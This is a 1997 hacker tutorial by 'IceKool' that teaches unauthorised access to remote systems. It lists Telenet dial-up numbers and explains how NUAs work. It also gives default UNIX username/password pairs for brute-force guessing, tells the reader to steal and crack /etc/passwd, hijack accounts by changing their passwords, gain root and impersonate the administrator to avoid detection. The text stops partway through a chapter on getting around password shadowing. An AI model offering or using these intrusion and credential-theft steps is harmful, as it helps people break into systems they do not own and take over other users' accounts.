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- Ultimate Step by Step guide to become a hacker
- ==============================================
- Submitted to the Hideout by IceKool
- Document Modified by kM
- June 16th, 1997
-
- Disclaimer:
-
- I do not take any responsibilities for actions that you pose using this file.
- Therefore do not blame me for whatever happens. This is for informational purposes only.
-
- About the Author:
-
- My name is IceKool. I live in Va. I love to hack and I hope that this file will teach you
- everything that you need to know. So read it all the way through!
-
- Contents:
-
- 1.) What should I know about hacking and where can I get started?
-
- 2.) What programs will I need?
-
- 3.) I got the stuff, what now?
-
- 4.) A list of telenet numbers.
-
- 5.) I dialed it out, now what?
-
- 6.) How do NUA's work?
-
- 7.) Help with NUA's
-
- 8.) What should I do once I found a system?
-
- 9.) I'm in, now what?
-
- 10.) Cracking programs, what they do and how they work.
-
- 11.) UNIX.
-
- 12.) Password shadowing.
-
- 13.) Dialouts
-
- 14.) Scanners
-
- 15.) Brute force hacking
-
- 16.) C-script to erasing your logins
-
- 17.) Keeping yourself safe
-
- 18.) NUA's that I have found
-
- 19.) Conclusion and Hackers Manifesto
-
-
-
- Chapter 1.) What should I know about hacking and where can I get started?
-
-
- Welcome to the world of hacking. You are probably asking why you want to be a hacker
- right now. Well, first let me say that if you saw the movie,"Hackers" don't think that that
- is hacking. It would be great if they had terminals that automatically put you in a system
- and gave out all those cool colors and welcome screens, but it's not that way. In fact,
- hacking is like using DOS and C commands. So if you want to be a hacker, realize that.
- Don't worry, it's still really cool. But before you start, let's identify things, first off
- a terminal. This is what you will use to hack. Click on ,"find" on the start menu of win95.
- Then type in ,"Terminal". It will either give you a hyper terminal or a terminal.
- Both will work. I prefer the hyper terminal. Choose the regular looking icon that
- says,"hyperterm" if you are using the HyperTerminal after you click on its folder.
- If you want to use the regular terminal, choose,"terminal". Now you will need to set some
- things. In terminal, click on settings. Then click on communications. You will have to
- mess with this stuff a little bit because some systems use different paritys and databits, etc.
- What I use is as follows:
-
- Baud rate: 19200
- parity: odd
- databits: 7
- flow control:Xon/Xoff
-
- For the hyper terminal, click on the HyperTerminal folder in the find files or folders thing.
- Choose hyperterm. Then it will ask you for a name. Call it anything you want. Now it will ask
- for a phone #. Don't type a phone number in, look at the bottom. It should say what type of
- modem you are using. Click on that and choose the com port that your modem is using. Do the
- settings that I listed above and hit ok. Now comes the part where you will need to use certain
- commands that work for both programs. It will connect to your modem and then you can tell your
- modem what to do. Here are the commands that you can type. By the way, put "AT" before
- everything except if you use "a/" or "+++".
-
- at=ok
- atdp(phone number)=dials out the number specified using a pulse dial up.
- atdt(phone number)=dials out the number specified using a tone dial up.
- at e0=echo off(not recommended)
- at e1=echo on(recomended,shows what you type in your terminal!very important)
- at L0=speacker volume low
- at L1=higher speaker volume
- at L2=default, medium
- at L3=high speaker volume
- at a=lets a call be connected to your computer(note! you can wait in your terminal mode and it
- will start saying"ring""ring""ring", type that command in and hit enter. It Will connect
- whatever is calling you!)
-
-
- Chapter 2: What programs will I need?
-
- Well, I already mentioned about the terminal. That's your first program you should get.
- Now go to either of these two addresses on the web to get your hacking equipment:
-
- www.hackersclub.com/km or www.sodaphish.com
-
- The programs that you should get are as follows:
-
- A-dial(or any scanner)- a scanner that will dial every # from 0000-9999 in your local area.
-
- Cracker Jack- One of the best and fastest Crackers out there.
- John the Ripper is the best one w/Win95
-
- Modem Jammer- makes your calls untraceable!
-
-
- Chapter 3: I got the stuff, now what?
-
- Study how the stuff works and go to your local library and get some books on the
- following systems:
-
- 1.) IRIS
- 2.) UNIX
- 3.) DEC/10
- 4.) NOD
- 5.) VAX
-
- Now get out your cracker and read the instructions on how it works and look at the dictionary
- that it comes with (should be "puffs.dic"). Go to the Hackerz Hideout(www.hackersclub.com/km)
- and go to the newbie section and download lesson 1. Read on how it works and play with it
- for a while. Now get out your terminal and get ready to dial up your local telenet number!
-
-
-
- Chapter 4:A list of telenet numbers to use throughout the u.s.
-
- This is a list of telenet numbers throughout the U.S.A. Telenet is a network that is used for
- many purposes. This is where most of your hacking will be done because hacking directly to an
- open system is very risky! But if you use telenet and go to an outdial (more on this later)
- then the chances are much less risky. So dial up your local telenet number and get ready
- to hack!
-
- AK 907 Prudhoe Bay 659-2777 (1,2) -
- AK 907 St Paul 546-2320 (1,2) -
- AK 907 Seward 224-3126 (1,2) -
- AK 907 Sitka 747-5887 (1,2) -
- AK 907 Soldotna 262-1990 (1,2) -
- AK 907 Talkeetna 733-2227 (1,2) -
- AK 907 Tanana 366-7167 (1,2) (300 BPS ONLY)
- AK 907 Valdez 835-4987 (1,2) -
- AK 907 Whittier 472-2467 (1,2) -
- AK 907 Yakutat 784-3453 (1,2) -
- AZ 602 Phoenix 254-1903 A
- AZ 520 Flagstaff 773-0588 B
- AZ 520 Tucson 620-0658 B
-
- AR 501 Fayetteville 442-0212 B
- AR 501 Ft Smith 782-2852 B
- AR 501 Hot Springs 623-3159 B
- AR 501 Little Rock 375-4177 B
- AR 501 Texarkana 772-6181 B
- CA 805 Bakersfield 631-0577 B
- CA 916 Chico 894-6882 B
- CA 909 Colton 824-5571 B
- CA 310 Compton 516-1007 C
- CA 510 Concord 687-0216 C
- CA 909 Corona 278-1211 B
- CA 916 Davis 753-4387 B
- CA 619 Escondido 738-0203 B
- CA 707 Eureka 444-3091 B
- CA 707 Fairfield 426-3860 B
- CA 510 Fremont 249-9220 B
- CA 209 Fresno 233-6928 B
- CA 714 Garden Grove 379-7400 B
- CA 818 Glendale 507-0511 B
- CA 510 Hayward 538-0623 B
- CA 805 Lancaster 949-7396 B
- CA 213 Los Angeles 937-5526 A
- CA 310 Marina Del Rey 306-3450 B
- CA 209 Merced 383-2557 B
- CA 209 Modesto 576-2852 B
- CA 408 Monterey 655-1925 C
- CA 707 Napa 257-0217 B
- CA 310 Norwalk 802-2275 C
- CA 510 Oakland 836-3844 B
- CA 619 Oceanside 430-0613 C
- CA 619 Palm Springs 343-3470 B
- CA 415 Palo Alto 856-4854 B
- CA 510 Pinole 724-0271 C
- CA 909 Pomona 626-1284 C
- CA 916 Redding 243-0690 B
- CA 916 Sacramento 851-0700 B
- CA 714 Saddle Brook Valley 458-0811 B
- CA 408 Salinas 443-8791 B
- CA 415 San Carlos 591-8578 B
- CA 619 San Diego 233-1025 B
- CA 415 San Francisco 247-9976 A
- CA 408 San Jose 294-9067 B
- CA 805 San Luis Obispo 543-3233 B
- CA 310 San Pedro 548-7146 B
- CA 415 San Rafael 499-1629 C
- CA 510 San Ramon 829-6705 B
- CA 714 Santa Ana 558-1501 B
- CA 805 Santa Barbara 965-3326 B
- CA 408 Santa Cruz 459-7735 B
- CA 805 Santa Maria 925-2969 B
- CA 707 Santa Rosa 523-1048 C
- CA 209 Stockton 478-0402 C
- CA 805 Thousand Oaks 449-1500 B
- CA 805 Ventura 650-9203 B
- CA 619 Victorville 951-2612 B
- CA 209 Visalia 627-1201 B
- CA 818 West Covina 331-6611 C
- CA 818 Woodland Hills 887-7420 B
-
- CO 719 Colorado Springs 632-0278 B
- CO 303 Denver 745-3285 A
- CO 303 Ft Collins 495-6799 B
- CO 970 Grand Junction 241-3004 C
- CO 970 Greeley 352-8563 B
- CO 719 Pueblo 542-4053 C
-
- CT 203 Bridgeport 332-7400 B
- CT 203 Danbury 778-2022 B
- CT 203 Hartford 560-1385 B
- CT 203 Middletown 344-8217 B
- CT 203 New Britain 225-7027 B
- CT 203 New Haven 624-5945 B
- CT 203 New London 440-0656 B
- CT 203 Norwalk 866-7404 B
- CT 203 Stamford 961-8371 B
- CT 203 Waterbury 759-1445 C
-
- DE 302 Dover 678-8328 B
- DE 302 Newark 292-0114 B
-
- DC 202 Washington 659-2733 A
-
- FL 407 Boca Raton 367-0732 B
- FL 941 Cape Coral 334-0071 C
- FL 407 Cocoa Beach 267-0800 B
- FL 904 Daytona Beach 252-1609 C
- FL 954 Ft Lauderdale 764-0318 B
- FL 407 Ft Pierce 466-4566 B
- FL 352 Gainesville 335-6697 B
- FL 904 Holly Hill 257-4770 B
- FL 904 Jacksonville 353-1137 B
- FL 941 Lakeland 680-3332 C
- FL 352 Leesburg 787-0799 B
- FL 407 Melbourne 725-9641 B
- FL 305 Miami 358-5349 A
- FL 941 Naples 263-3033 C
- FL 352 Ocala 351-3790 C
- FL 407 Orlando 246-0851 B
- FL 904 Panama City 763-8377 B
- FL 904 Pensacola 469-9688 C
- FL 954 Pompano Beach 941-5545 C
- FL 813 St Petersburg 327-7024 B
- FL 941 Sarasota 952-1152 C
- FL 904 Tallahassee 222-0533 B
- FL 813 Tampa 221-3713 B
- FL 904 Valparaiso 897-3421 B
- FL 407 West Palm Beach 820-9391 B
-
- GA 912 Albany 431-9384 C
- GA 706 Athens 548-9698 B
- GA 404 Atlanta 688-1212 A
- GA 706 Augusta 722-9877 B
- GA 706 Columbus 322-9386 B
- GA 404 Gainsville 532-9880 B
- GA 912 Macon 741-2108 C
- GA 706 Rome 234-1428 B
- GA 912 Savannah 236-2898 B
-
- HI 808 Oahu 536-3886 ... -
- HI 800 Other Islands 272-5299 (2) -
- ID 208 Boise 343-0957 B
- ID 208 Idaho Falls 529-0406 B
- ID 208 Lewiston 743-5885 C
- ID 208 Pocatello 232-1764 B
- IL 847 Arlington Heights 670-9522 B
- IL 708 Aurora 896-9802 B
- IL 618 Belleville 277-9551 B
- IL 309 Bloomington 828-1441 B
- IL 312 Chicago 938-5462 A
- IL 217 Decatur 429-6054 C
- IL 815 De Kalb 756-3455 B
- IL 847 Glencoe 835-1143 B
- IL 815 Joliet 722-9652 C
- IL 708 Lansing 474-9310 B
- IL 847 Libertyville 362-5718 B
- IL 708 Naperville 355-2910 B
- IL 309 Peoria 674-2344 B
- IL 815 Rockford 962-9523 B
- IL 217 Springfield 525-1590 B
- IL 217 Urbana 384-3322 B
-
- IN 812 Bloomington 331-8890 C
- IN 812 Evansville 422-2911 B
- IN 219 Ft Wayne 422-8013 B
- IN 219 Gary 881-1020 B
- IN 317 Indianapolis 299-2593 B
- IN 317 Kokomo 452-0073 C
- IN 317 Lafayette 742-5488 C
- IN 317 Muncie 288-1113 C
- IN 317 Richmond 935-7532 B
- IN 219 South Bend 288-2355 B
- IN 812 Terre Haute 235-5671 C
-
- IA 515 Ames 233-2603 C
- IA 319 Burlington 752-2516 B
- IA 319 Cedar Rapids 298-4600 B
- IA 319 Davenport 322-3361 C
- IA 515 Des Moines 288-4626 B
- IA 319 Dubuque 556-0783 C
- IA 319 Iowa City 339-0320 C
- IA 712 Sioux City 255-1545 C
- IA 319 Waterloo 232-0195 B
- KS 913 Lawrence 843-8124 B
- KS 913 Leavenworth 651-0015 B
- KS 913 Manhattan 537-0948 B
- KS 913 Salina 825-7900 B
- KS 913 Topeka 232-5507 B
- KS 316 Wichita 264-4211 B
- KY 502 Bowling Green 843-0632 B
- KY 502 Frankfort 875-2911 B
- KY 606 Lexington 231-7717 B
- KY 502 Louisville 583-1209 B
- KY 502 Owensboro 686-8107 B
- LA 318 Alexandria 445-1053 B
- LA 504 Baton Rouge 344-5105 A
- LA 318 Lafayette 233-6951 B
- LA 318 Lake Charles 436-0518 C
- LA 318 Monroe 345-0106 B
- LA 504 New Orleans 524-7442 A
- LA 318 Shreveport 424-2255 B
- ME 207 Augusta 622-7364 B
- ME 207 Brewer 989-3081 C
- ME 207 Lewiston 784-0105 C
- ME 207 Portland 761-9029 C
-
-
-
-
-
-
-
-
- MD 410 Annapolis 266-6851 B
- MD 410 Baltimore 244-0470 A
- MD 301 Frederick 293-9596 B
- MD 410 Gaithersburg 869-4191
- MA 508 Attleboro 226-8956 B
- MA 617 Boston 338-0002 A
- MA 508 Brockton 583-3533 B
- MA 617 Dedham 326-4064 B
- MA 508 Fall River 677-4477 B
- MA 508 Framingham 620-1119 B
- MA 508 Lawrence 687-8252 B
- MA 617 Lexington 862-9124 B
- MA 508 Lowell 459-2350 B
- MA 508 New Bedford 990-3300 B
- MA 413 Northampton 586-0510 C
- MA 413 Pittsfield 499-7741 B
- MA 508 Salem 744-1559 B
- MA 413 Springfield 747-3700 B
- MA 508 Woods Hole 540-4085 C
- MA 508 Worcester 791-7630 B
- MI 313 Ann Arbor 741-8488 A
- MI 616 Battle Creek 961-9927 B
- MI 616 Bridgman 465-3248 B
- MI 313 Detroit 965-3011 A
- MI 810 Flint 767-3590 B
- MI 616 Grand Rapids 774-5958 B
- MI 517 Jackson 782-8111 C
- MI 616 Kalamazoo 381-3101 B
- MI 517 Lansing 482-0120 B
- MI 906 Marquette 228-4622 B
- MI 517 Midland 832-7068 B
- MI 616 Muskegon 726-5723 C
- MI 810 Pontiac 858-7109 B
- MI 810 Port Huron 982-8364 B
- MI 517 Saginaw 797-3822 B
- MI 810 Southfield 827-4710 B
- MI 616 Traverse City 946-2121 C
- MI 810 Warren 573-7300 B
- MI 313 Wayne 326-4210 B
-
- MN 218 Duluth 722-3029 B
- MN 507 Mankato 388-3780 B
- MN 612 Minneapolis 332-0033 A
- MN 507 Rochester 282-0555 C
- MN 320 St Cloud 253-1264 C
-
- MS 601 Hattiesburg 264-0815 B
- MS 601 Gulfport 863-0024 B
- MS 601 Jackson 354-5303 B
- MS 601 Meridian 482-2210 B
- MS 601 Port Gibson 437-8916 B
- MS 601 Starkville 324-2155 B
- MO 573 Columbia 499-0580 B
- MO 573 Jefferson City 634-8436 C
- MO 816 Kansas City 421-5783 A
- MO 314 St Charles 723-5179 B
- MO 816 St Joseph 279-4797 C
- MO 314 St Louis 421-1376 A
- MO 417 Springfield 831-0057 B
- MT 406 Billings 248-6373 C
- MT 406 Great Falls 771-0067 B
- MT 406 Helena 443-0527 B
- MT 406 Missoula 543-5575 C
- NE 308 Grand Island 381-2049 B
- NE 402 Lincoln 438-4305 B
- NE 402 Omaha 341-4622 B
-
- NV 702 Las Vegas 737-1752 B
- NV 702 Reno 824-3000 B
-
- NH 603 Concord 225-2566 B
- NH 603 Durham 868-2924 B
- NH 603 Manchester 647-2750 B
- NH 603 Nashua 880-0118 C
- NH 603 Portsmouth 431-7984 B
- NJ 609 Atlantic City 348-3233 B
- NJ 908 Freehold 780-2680 B
- NJ 201 Hackensack 488-1726 B
- NJ 609 Marlton 988-7800 B
- NJ 609 Merchantville 663-7730 B
- NJ 201 Morristown 605-1836 B
- NJ 908 New Brunswick 220-0405 B
- NJ 201 Newark 624-8843 A
- NJ 201 Passaic 777-2700 B
- NJ 201 Paterson 279-4515 B
- NJ 609 Princeton 799-2266 A
- NJ 201 Rahway 388-5288 B
- NJ 908 Red Bank 571-0003 B
- NJ 201 Roseland 227-6722 B
- NJ 908 Sayreville 525-9507 B
- NJ 201 Summit 701-0767 B
- NJ 609 Trenton 392-4100 B
- NJ 609 Vineland 696-3883 B
-
- NM 505 Albuquerque 246-8950 B
- NM 505 Las Cruces 526-9191 B
- NM 505 Santa Fe 473-3403 C
- NY 518 Albany 433-0092 B
- NY 607 Binghamton 773-2244 B
- NY 716 Buffalo 847-8181 B
- NY 516 Deer Park 254-6021 B
- NY 516 Hempstead 292-2820 B
- NY 607 Ithaca 273-2200 C
- NY 212 New York City 206-0256 A
- NY 716 Niagara Falls 282-3284 C
- NY 518 Plattsburgh 562-1890 C
- NY 914 Poughkeepsie 471-6728 B
- NY 716 Rochester 546-6998 B
- NY 315 Syracuse 448-0021 B
- NY 315 Utica 792-9962 B
- NY 914 White Plains 949-6878 B
- NC 704 Asheville 259-9945 B
- NC 910 Burlington 229-0032 B
- NC 704 Charlotte 332-4023 A
- NC 910 Fayetteville 323-5940 C
- NC 704 Gastonia 865-4708 B
- NC 910 Greensboro 299-6600 B
- NC 704 Hickory 326-9860 B
- NC 910 High Point 889-7494 B
- NC 910 North Wilkesboro 838-1663 C
- NC 919 Raleigh 781-9976 B
- NC 919 Res Tri Park 549-0542 B
- NC 919 Tarboro 823-7459 C
- NC 910 Wilmington 763-8292 C
- NC 910 Winston-Salem 785-9962 B
-
- ND 701 Fargo 235-9069 C
- ND 701 Grand Forks 775-7813 B
- ND 701 Mandan 663-6339 B
- OH 330 Canton 455-1700 B
- OH 513 Cincinnati 579-1593 A
- OH 216 Cleveland 575-0811 A
- OH 614 Columbus 461-8671 A
- OH 513 Dayton 461-4600 B
- OH 216 Elyria 322-8645 C
- OH 419 Findlay 422-8188 B
- OH 513 Hamilton 863-4116 B
- OH 330 Kent 678-8330 A
- OH 216 Lorain 960-1771 C
- OH 419 Mansfield 589-0276 C
- OH 419 Sandusky 627-0050 B
- OH 513 Springfield 324-1520 C
- OH 419 Toledo 255-7010 B
- OH 330 Warren 856-7265 C
- OH 330 Wooster 345-1023 B
- OH 330 Youngstown 743-2983 B
-
- OK 918 Bartlesville 336-6362 B
-
-
- OK 405 Lawton 353-0225 B
- OK 405 Oklahoma City 270-0028 B
- OK 405 Stillwater 743-1447 B
- OK 918 Tulsa 584-6935 B
- OR 503 Corvallis 754-0559 C
- OR 541 Eugene 683-5147 B
- OR 541 Hood River 386-4405 C
- OR 503 Klamath Falls 882-6282 B
- OR 541 Medford 772-3994 B
- OR 503 Portland 295-0337 A
- OR 503 Salem 375-3104 B
-
- PA 610 Allentown 770-6501 B
- PA 814 Altoona 949-0310 B
- PA 412 Butler 285-8721 B
- PA 717 Carlisle 249-9311 C
- PA 717 Danville 271-0102 C
- PA 814 Erie 459-9779 B
- PA 412 Greensburg 836-4771 B
- PA 717 Harrisburg 236-1186 B
- PA 814 Johnstown 535-3356 B
- PA 610 King of Prussia 265-2812 B
- PA 717 Lancaster 295-7128 C
- PA 215 Levittown 946-3469 B
- PA 412 Monroeville 856-1330 B
- PA 215 Philadelphia 854-0589 A
- PA 412 Pittsburgh 281-8326 A
- PA 610 Reading 375-6945 C
- PA 717 Scranton 341-5611 B
- PA 814 State College 231-1510 C
- PA 215 Warrington 343-6010 B
- PA 610 West Chester 436-7406 B
- PA 717 Wilkes-Barre 820-9755 B
- PA 717 Williamsport 494-1796 C
- PA 717 York 845-9717 B
-
- RI 401 Providence 453-5353 B
- RI 401 Newport 849-0229 B
- RI 401 North Kingston 295-7100 B
- RI 401 Woonsocket 765-0019 B
- SC 803 Charleston 723-7342 B
- SC 803 Columbia 254-0038 B
- SC 803 Florence 669-0042 B
- SC 864 Greenville 232-7832 B
- SC 803 Myrtle Beach 626-9134 B
- SC 864 Spartanburg 542-1653 B
-
- SD 605 Pierre 224-2257 B
- SD 605 Rapid City 348-2048 C
- SD 605 Sioux Falls 334-4953 B
- TN 615 Bristol 968-2480 C
- TN 423 Chattanooga 266-3066 B
- TN 615 Clarksville 552-0032 B
- TN 615 Johnson City 282-6645 C
- TN 615 Knoxville 523-4031 B
- TN 901 Memphis 525-5201 B
- TN 615 Nashville 726-1213 B
- TN 423 Oak Ridge 481-3590 C
- TX 915 Abilene 672-3902 B
- TX 806 Amarillo 373-2926 B
- TX 903 Athens 677-1712 C
- TX 512 Austin 929-0078 B
- TX 210 Brownsville 544-7073 C
- TX 409 Bryan 779-0713 C
- TX 512 Corpus Christi 888-7207 B
- TX 214 Dallas 653-0840 A
- TX 817 Denton 381-1897 C
- TX 915 El Paso 532-1912 B
- TX 817 Ft Worth 332-1015 A
- TX 409 Galveston 762-8076 B
- TX 713 Houston 228-0705 A
- TX 210 Laredo 724-1791 C
- TX 903 Longview 758-1161 C
- TX 806 Lubbock 765-9631 C
- TX 210 McAllen 631-8967 B
- TX 915 Midland 561-8931 B
- TX 409 Nederland 722-7162 B
- TX 915 San Angelo 944-0376 B
- TX 210 San Antonio 225-1191 B
- TX 903 Sherman 893-4995 B
- TX 817 Temple 773-9723 C
- TX 903 Tyler 597-8925 C
- TX 512 Victoria 572-3197 B
- TX 817 Waco 752-2681 C
- TX 817 Wichita Falls 322-3774 B
- UT 801 Logan 752-3421 B
- UT 801 Ogden 627-1640 C
- UT 801 Provo 371-0278 B
- UT 801 Salt Lake City 355-9030 B
- TX 903 Texarkana 794-4700 B
- VA 540 Blacksburg 552-9181 C
- VA 804 Charlottesville 977-5330 C
- VA 540 Covington 962-2217 C
- VA 540 Fredericksburg 371-0188 B
- VA 540 Harrisonburg 434-0374 C
- VA 703 Herndon 787-6719 B
- VA 804 Lynchburg 845-0010 C
- VA 804 Newport News 596-9232 B
- VA 804 Norfolk 626-3349 B
- VA 703 Occoquan 494-0836 B
- VA 804 Richmond 225-0021 B
- VA 540 Roanoke 857-4266........ B
- VT 802 Burlington 660-4795 B
- VT 802 Montpelier 223-0758 B
- VT 802 Rutland 775-1676 C
- VT 802 White River Junction 295-7631 C
-
-
- WA 206 Auburn 939-9982 B
- WA 360 Bellingham 733-2873 B
- WA 206 Everett 774-7466 C
- WA 360 Longview 577-3992 B
- WA 206 Lynwood 774-7466 B
- WA 360 Olympia 705-0769 C
- WA 509 Pullman 332-0172 B
- WA 509 Richland 943-6117 B
- WA 206 Seattle 625-1386 A
- WA 509 Spokane 747-2069 B
- WA 206 Tacoma 383-9488 B
- WA 360 Vancouver 693-6914 B
- WA 509 Wenatchee 663-9482 B
- WA 509 Yakima 575-1060 B
-
- WV 304 Charleston 346-0524 B
- WV 304 Clarksburg 622-6827 B
- WV 304 Huntington 523-2802 C
- WV 304 Morgantown 292-0492 C
- WV 304 Wheeling 233-7732 B
- WI 608 Beloit 362-5287 B
- WI 715 Eau Claire 836-0097 C
- WI 414 Green Bay 432-0346 B
- WI 414 Kenosha 552-9242 C
- WI 608 La Crosse 784-0560 B
- WI 608 Madison 257-8330 B
- WI 414 Milwaukee 271-2420 A
- WI 414 Neenah 731-9687 C
- WI 414 Racine 632-2174 C
- WI 414 Sheboygan 452-3995 C
- WI 715 Wausau 848-6044 B
- WI 414 West Bend 334-2206 B
-
- WY 307 Casper 265-8807 C
- WY 307 Cheyenne 637-3958 B
- WY 307 Laramie 721-5878 C
-
-
- Chapter 5: I dialed it out, now what?
-
- Here is what you will do. Remember how I told you those modem commands? Here is how
- you would dial if you have a pulse phone in Casper WY:
-
- atdp265-8807
-
- For tone:
-
- atdt265-8807
-
- Ok. It should make a modem noise. I'm sure you've heard this before unless you are really
- new to computers. Here is a list of commands that you can use in telenet:
-
- C-Connect
-
- D-disconnect
-
- Mail-mail
-
- Telemail-mail
-
- full-network echo (should be really good to use!)
-
- half-terminal echo(I don't recommend it, but try it and see what happens, just type"full"when your done)
-
- Stat-Shows network port
-
- Set-Select pad perimeters
-
- Cont-Continue
-
- Hangup-Hangs up
-
- Access-Telenet Account (Need username and password)
-
-
- Here is a trick that you can try. Once you have connected, hit enter twice; then it
- will tell you you've connected to telenet on a certain address. Now either hit enter once
- or type in the type of terminal you are using. It should give you a prompt that looks like
- this:
-
- @
-
- Now Type in telemail. It will say that it is connected. Now type in"phones" for the
- username and password. It will run down with a list of things. Try everything out that looks
- interesting. You can also type in help at the login prompt and it will ask you for an
- organization and a password. That will give you a list of all the numbers that will connect
- you to telenet in the U.S.A.
-
- A good thing to remember!
-
- Whenever you connect to a system and it will ask you"login" or "ugi" or "user id",
- etc... before you get cocky, try typing some things in such as help, teach, learn,help login,
- help logon, systat, and some other commands that you can think of by yourself. Just type one
- of those in for the login name,or before it asks you to login and see what happens.
-
-
-
- Chapter 6: How do NUA's work?
-
- Well, NUA's are like little addresses that you can connect to when you are in telenet.
- The way it works is by typing in an area code and then typing in any number after- words.
- It would be something like this:
- ____
- @540|798|- the number after-words
- -|--------
- areacode
-
- That would be the area code of VA. There is also something that you might see in front
- of it. It would look like this:
-
- 03110 540 0079800
-
- The number in front(03110) is the pad that you are connected to. This is very important
- because you cannot always connect to an NUA because it will not always have what is called
- reverse charging. Reverse charging is sort of like you dialing someone's number collect. But
- I will explain more about this in the Help with NUA's section. You probably noticed that there
- were some zeros in the 798 part. A lot of times you will find this in systems. But usually you
- can ignore this.
-
- You can also put a "c" in front of the NUA. It would look like this:
-
- @c540 798
-
- Note! Whenever I put a @ in front of a number like I just did, don't type that in, all
- you would have to type would be "c540 798". That is just the prompt.
-
-
- Chapter 7: Help with NUA's
-
- Not to many things have worked with NUA's that I have found. Although you could try
- these commands at the login prompt:
-
- 1.) help
- 2.) learn
- 3.) list
- 4.) list users
- 5.) games
- 6.) List games
- 7.) help logon
- 8.) help login
- 9.) and anything else that comes to your mind. Use common sense.
-
- If you try connecting to an NUA and it says that there
- is reverse charging,you can get by this by either connecting to another pad that isn't
- long distance to that NUA or you can use what is called an NUI (Network User ID). The NUI is
- faster but they are very hard to find. I wouldn't even try it,but if you want to, here is what
- you would do. Say that you liked system:
-
- 201 432
-
- You would put a coma after the NUA and type the user name and then type in a password.
- For example:
-
- 201 432,username,password
-
- I would stick to the pads rather than this, it is much easier. Although, there are
- plenty of systems that will except reverse charging, so I personally just leave them
- alone. There to much trouble.
-
- Another problem with NUA's is that you will try to connect to one and it will just
- sit there and stare in your face. You will always know that when this happens that there is
- not a system. It will probably always just sit there. If you get stuck like that for to long,
- telenet will knock you off. That is very annoying! But I finally found a way to get past this.
- All you have to do is hold down the shift key and hit the "2" button and then hit enter. Then
- it will bring you back to the "@" prompt. Now hit "d" and hit enter to disconnect. Now you're
- all set to try another NUA.
-
- Chapter 8: What should I do once I found a system?
-
- Your first objective is to identify what type of system you have found. There are 2
- ways to do this. The first and easiest way is to look for a copy of the LOD (legion of doom)
- and it will have most all the info that you will need on identifying systems. The second and
- best way to do this is to go to your local library or bookstore and read up on all the systems
- you can. Basically,I am saying to get LOD's copy and look at the systems they are talking about
- and get books on those systems.
-
- Once you've identified the system, first try the defaults that you have. If your defaults
- worked, that's great, move on to the next chapter, if not, do some research in the library
- section of the hackers hideout on sniffing and spoof ID.
-
- Chapter 9: I'm in, now what?
-
- Well, I agree with LOD. I can't tell you what to do once you got inside the system. It
- is totally all up to you, you are the hacker which means that you are in command. I would
- recommend looking in the books that you got on the system that you are in and look at all
- of its useful commands. Try everything out, don't be afraid, you can't go any further unless
- you try different things out. Search the system to your desire. Have fun!
-
- Chapter 10: Cracking programs
-
- A while back I said something about Cracker Jack. That is the type of Cracker that I will
- be referring to. Cracker Jack comes with a dictionary called, "puffs.dic". In the next chapter
- you will learn how to obtain passwords in a UNIX system, so this will be very useful. Say you
- see some passwords you want to crack. It goes like this, a word is scrambled (encrypted). A
- cracker will take this word and look at it with its dictionary. here is a sample:
-
- akcihgn
-
- The dictionary will look at it and look at every word in the English language that has
- seven letters and has each of those very letters. A lot of times, you will get lots of possible
- words, but one of them is the real password! In this case, it is "hacking".
-
-
-
- Chapter11:UNIX
-
- Well, if you finally found your first UNIX, then this is going to be a treat! First of
- all, UNIX will greet you with a welcoming message and then will say, "Login". To login, all you
- have to do is type in some defaults. Here they are:
-
-
- login: root pw: root
- login: root pw: system
- login: root pw: sysop
- login: sys pw: sys
- login: sys pw: system
- login: daemon pw: daemon
- login: uucp pw: uucp
- login: tty pw: tty
- login: test pw: test
- login: unix pw: unix
- login: unix pw: test
- login: bin pw: bin
- login: adm pw: adm
- login: adm pw: admin
- login: admin pw: admin
- login: sysman pw: sysman
- login: sysman pw: sys
- login: sysman pw: system
- login: sysadmin pw: sysadmin
- login: sysadmin pw: system
- login: sysadmin pw: sys
- login: sysadmin pw: admin
- login: sysadmin pw: adm
- login: who pw: who
- login: learn pw: learn
- login: uuhost pw: uuhost
- login: guest pw: guest
- login: host pw: host
- login: nuucp pw: nuucp
- login: rje pw: rje
- login: games pw: games
- login: games pw: player
- login: sysop pw: sysop
- login: demo pw: demo
-
- When these defaults don't work, you will have to use brute force hacking which you will
- learn later on. What you will do is use the default for your login name, then use the list of
- passwords. For example:
-
- login: sysadmin
- password:(every password in the list)
-
- If sysadmin didn't work move to the next default and use every password, then to the next
- etc. Here is the list of defaults to use:
-
-
- adm
- admin
- ann
- anon
- anonymous/anonymous
- backup
- batch
- bin
- checkfsys
- daemon
- demo
- diag
- field
- ftp
- games
- guest/guest guest/anonymous
- help
- install
- listen
- lp
- lpadmin
- maint
- makefsys
- mountfsys
- network
- news
- nobody
- nuucp
- nuucpa
- operator
- powerdown
- printer
- pub
- public
- reboot
- rje
- rlogin
- root
- sa
- setup
- shutdown
- startup
- sync
- sys/sys
- sysadm
- sysadmin
- sysbin/sysbin sysbin/bin
- sysman
- system
- tech
- test
- trouble
- tty
- umountfsys
- user/user user1/user1
- uucp
- uucpa
- visitor
-
- Once you are in, save the account to a floppy. To access the password file on UNIX,
- type in this command:
-
- etc/passwd
-
- Now download the password file. This can be done by typing "d". If you type in this
- command and nothing shows up, try typing in "cat_/etc/passwd". If that doesn't work, then the
- UNIX system might not have what is called a shell account. In that case, move on to a new
- system. Ok, If you got the passwd file downloaded, take it to your cracker and crack it. If you
- have trouble cracking it, make sure that you typed in the right dictionary (puffs.dic) and the
- file of the passwd. Now look at one of the accounts, it will probably have a list of words that
- could be the password. Try every word that it gives you, one of the words will definitely work!
- Now finally log on as that user and change his password. Well, you've done it! You own the
- account. If you want to go a little further, look for the password on the "sysadmin and root".
- You would login like this:
-
- login:root
- password:(password)
-
- login:sysadmin
- password:(password)
-
- I hope that that helps you out. Remember, if you logon as the superuser (root), you have
- total command over the whole system. So act normal and if anyone tries to talk to you, act like
- you would if you were the sysop (system administrator), and NEVER manipulate files!
-
- NOTE! This is what a passwd file will look like when you get it:
-
- John:234abc56:9999:13:John_Johnson:/home/dir/John:/bin/John.
-
- Here is what it is broken down:
-
- Username: John
- Encrypted password: 234abc56
- User # 9999
- Group# 13
- Other information: John Johnson
- Home directory: /home/dir/John
- Shell:/bin/John
-
- Chapter12: Password Shadowing
-
- Unfortunately, today most all UNIX systems have what is called password shadowing. It is
- a type of security that the admins use to keep hackers out. The password is still encrypted but
- you can't see the encrypted passwords. Here are Three ways that I have heard of to get around
- this. The first one is simple, you find the shadowed passwords in a different directory. I will
- name the system, you type in what is on the right. That will enable you (hopefully to find the
- encrypted passwords)but first, here is how you can identify a shadowed password. Look at this
- list and notice how there is either a * or an X in the passwords place:
-
